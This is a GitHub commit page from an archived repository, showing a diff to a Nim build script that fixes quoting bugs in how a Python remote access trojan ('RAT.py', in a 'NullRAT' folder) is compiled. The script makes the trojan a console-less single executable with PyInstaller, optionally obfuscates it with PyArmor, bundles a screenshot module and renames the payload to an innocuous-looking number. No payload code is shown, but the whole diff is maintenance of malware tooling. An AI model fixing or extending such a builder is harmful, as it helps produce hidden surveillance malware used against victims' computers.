Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 13142ee

Browse files
committed
Fix buggy pyinstaller compilation
1 parent df4a70d commit 13142ee

1 file changed

Lines changed: 12 additions & 5 deletions

File tree

compiler.nim

Lines changed: 12 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -227,7 +227,7 @@ proc compiler(): int =
227227

228228
var pyinst_cmd = pyinst & " --onefile --noconsole --hidden-import mss"
229229

230-
var dat: string = fmt" --add-data ""Variables.py;.'"""
230+
var dat: string = fmt" --add-data ""Variables.py;."""
231231
pyinst_cmd.add(dat)
232232

233233
var pyarmor_cmd: string
@@ -240,14 +240,19 @@ proc compiler(): int =
240240
moveFile(currdir / "RAT.py", currdir / "765678976567.py")
241241
pyarmor_cmd.add(dat)
242242

243-
for m in modules:
244-
dat = fmt" --add-data '{m};.'"
245-
pyinst_cmd.add(dat)
246-
pyarmor_cmd.add(dat)
243+
if obfuscate:
244+
for m in modules:
245+
dat = fmt" --add-data '{m};.'"
246+
pyarmor_cmd.add(dat)
247+
else:
248+
for m in modules:
249+
dat = fmt" --add-data ""{m};."""
250+
pyinst_cmd.add(dat)
247251

248252
pyinst_cmd.add(" 765678976567.py")
249253
pyarmor_cmd.add("""" 765678976567.py""")
250254

255+
discard execShellCmd("color C")
251256
if obfuscate:
252257
echo pyarmor_cmd
253258
discard execShellCmd(pyarmor_cmd)
@@ -261,7 +266,9 @@ proc compiler(): int =
261266
setCurrentDir(dirr / "NullRAT")
262267
removeDir(folderName)
263268

269+
printName()
264270
stdout.styledWriteLine(fgGreen, {styleBright}, "Build Successful! Output in " & name)
271+
echo "Press any key to exit..."
265272
discard getch()
266273
quit(0)
267274

0 commit comments

Comments
 (0)